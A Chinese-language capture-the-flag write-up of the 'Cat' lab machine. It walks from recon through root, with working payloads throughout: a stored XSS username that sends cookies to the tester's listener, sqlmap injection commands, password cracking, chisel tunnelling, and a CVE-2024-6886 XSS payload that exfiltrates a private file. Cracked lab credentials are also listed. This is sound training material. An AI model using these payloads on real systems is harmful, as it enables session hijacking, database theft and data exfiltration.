
USER
nmap -T4 -v -A -Pn 10.10.11.53 -oN cat.txt

80 端口

很多功能都需要登录,先自己注册登录一下,同时扫一下目录
ffuf -w /home/kali/dict/fuzzDicts/directoryDicts/dicc.txt -u "http://cat.htb/FUZZ" -c -fc 403

主要是.git、admin、uploads 这几个排查一下
我们 admin.php,还是会跳转到 join;uploads 则是没有权限访问
git-dumper 导出cat.htb 的 git 库
git-dumper http://cat.htb/.git/ git_cat

查看 view_cat.php

回到 80 页面,在contest.php 这个界面有

结合这两个可以发现对于 contest 的提交的数据都做了限制,但是 admin 处显示的还有一个 owner,所以可以尝试用用户名做 xss
<script>document.location='http://10.10.14.52:8001/?c='+document.cookie;</script>
用 payload 注册用户名,然后 contest 界面提交猫猫比赛申请

接收到返回的 cookie

拿到了 cookie 使用登录的话很快就会 g,所以看看其他文件
有一个 accept_cat.php 有数据库 insert 语句,没有过滤,可以试试 sql 注入,需要传入 catname 和 catid,同时加上 cookie;由 config.php 可以知道数据库类型是 SQLite,可以指定一下

#列出表名,sqlite是单数据库可以直接跑tables
sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=fuck" --cookie="PHPSESSID=ugv3lbmjl14ob0c62ar3hq06gu" -p "catName" --level=5 --risk=3 --dbms=SQLite --tables --batch
#dump表
sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=fuck" --cookie="PHPSESSID=ojogfji2g20nj46mhu5nt7fjc9" -p "catName" --level=5 --risk=3 --dbms=SQLite -D "SQLite_masterdb" -T "users" --dump --threads=5 --no-cast --batch

破解到 rosa 的密码
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

soyunaprincesarosa
ssh 登录 rosa,上传 linpeas.sh,发现 apache 的日志

将 access.log 这个日志下载下来,我们能找到 join.php 有 axel 访问的记录,记载了 axel 的账号密码

axel
aNdZwgC4tI9gnVXv_e3Q
ssh 成功登录,这里就可以看到 user.txt

ROOT
ss -tuln
检查端口可以发现除了正常的还有 3000 端口,穿透一下
./chisel server -p 8000 --reverse
./chisel client 10.10.14.52:8000 R:3000:127.0.0.1:3000&

我们可以用 axel 登录进去,但是里面什么都没有
我们回到 axel shell,linpeas.sh 也没有找到什么东西,翻找到/vat/mail,可以看到 axel 的一封邮件

其中还给到了两个路径
http://localhost:3000/administrator/Employee-management
http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md
但是都无法访问
重点可能就在给jobert@localhost 发送邮件
结合CVE-2024-6886,可以触发存储型 xss,来读取这个文件
axel 用户新建一个 repo,Description 放入 test xss 语句。同时我创建了一个 test.txt 文件保证真实一点(必须加上才能触发 payload)
<a href="javascript:fetch('http://10.10.14.52:8001/test')">XSS Test</a>

然后 axel shell 发送 mail 给jobert
echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/test" | sendmail jobert@localhost

成功收到请求,那么改 xss payload 带出
带前面给到的两个网址的内容分别是 414 和网站正在建设,那就看
http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php
的信息
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.52:8001/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">XSS test</a>

再次发送 mail,成功收到外带的信息,然后 url 解码一下


IKw75eR0MR7CMIxhH0
su root,输入密码,就可以拿到 root.txt 了


Comments | NOTHING